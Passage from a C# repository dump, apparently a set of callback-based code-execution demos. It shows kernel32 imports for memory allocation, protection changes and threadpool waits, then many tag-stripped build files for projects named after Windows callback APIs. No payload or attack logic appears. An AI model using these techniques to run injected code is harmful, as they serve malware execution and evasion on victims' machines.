| 63 | [DllImport("kernel32.dll", SetLastError = true)] 64 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 65 | 66 | [DllImport("kernel32.dll", SetLastError = true)] 67 | static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); 68 | 69 | [DllImport("kernel32.dll", SetLastError = true)] 70 | static extern IntPtr CreateThreadpoolWait(IntPtr addr, IntPtr pv, IntPtr pc); 71 | 72 | [DllImport("kernel32.dll", SetLastError = true)] 73 | static extern void SetThreadpoolWait(IntPtr pwa, IntPtr h, IntPtr pftTimeout); 74 | 75 | [DllImport("kernel32.dll", SetLastError = true)] 76 | static extern void WaitForThreadpoolWaitCallbacks(IntPtr pwa, bool fCancelPendingCallbacks); 77 | 78 | [DllImport("kernel32.dll")] 79 | static extern bool SetEvent(IntPtr hEvent); 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /LineDDA/LineDDA/LineDDA.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {5C806A79-393D-465A-A0F7-9456B0D31D39} 8 | Exe 9 | LineDDA 10 | LineDDA 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /SetTimer/SetTimer/SetTimer.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E7C28702-F2CF-45DE-87E6-6C1497533769} 8 | Exe 9 | SetTimer 10 | SetTimer 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /CopyFile2/CopyFile2/CopyFile2.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6} 8 | Exe 9 | CopyFile2 10 | CopyFile2 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EnumFontsW/EnumFontsW/EnumFontsW.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B} 8 | Exe 9 | EnumFontsW 10 | EnumFontsW 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EnumDirTree/EnumDirTree/EnumDirTree.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D} 8 | Exe 9 | EnumDirTree 10 | EnumDirTree 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EnumObjects/EnumObjects/EnumObjects.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006} 8 | Exe 9 | EnumObjects 10 | EnumObjects 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EnumWindows/EnumWindows/EnumWindows.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78} 8 | Exe 9 | EnumWindows 10 | EnumWindows 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /GrayStringW/GrayStringW/GrayStringW.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0} 8 | Exe 9 | GrayStringW 10 | GrayStringW 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EnumDesktopsW/EnumDesktopsW/EnumDesktopsW.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982} 8 | Exe 9 | EnumDesktopsW 10 | EnumDesktopsW 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EnumPageFilesW/EnumPageFilesW/EnumPageFilesW.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {169E0A75-A977-4727-8B9E-EACBA8341199} 8 | Exe 9 | EnumPageFilesW 10 | EnumPageFilesW 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EnumPwrSchemes/EnumPwrSchemes/EnumPwrSchemes.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204} 8 | Exe 9 | EnumPwrSchemes 10 | EnumPwrSchemes 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /CallWindowProcW/CallWindowProcW/CallWindowProcW.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {26E11E65-DC63-49B1-9776-BA40B09CC53A} 8 | Exe 9 | CallWindowProcW 10 | CallWindowProcW 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EnumSystemGeoID/EnumSystemGeoID/EnumSystemGeoID.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6} 8 | Exe 9 | EnumSystemGeoID 10 | EnumSystemGeoID 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /CryptEnumOIDInfo/CryptEnumOIDInfo/CryptEnumOIDInfo.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C049D4A4-673C-4C98-8812-B66D507CB6BE} 8 | Exe 9 | CryptEnumOIDInfo 10 | CryptEnumOIDInfo 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EnumCalendarInfo/EnumCalendarInfo/EnumCalendarInfo.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {FC731635-4DDE-4566-B9E5-9231561C0EC5} 8 | Exe 9 | EnumCalendarInfo 10 | EnumCalendarInfo 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EnumChildWindows/EnumChildWindows/EnumChildWindows.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468} 8 | Exe 9 | EnumChildWindows 10 | EnumChildWindows 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | --------------------------------------------------------------------------------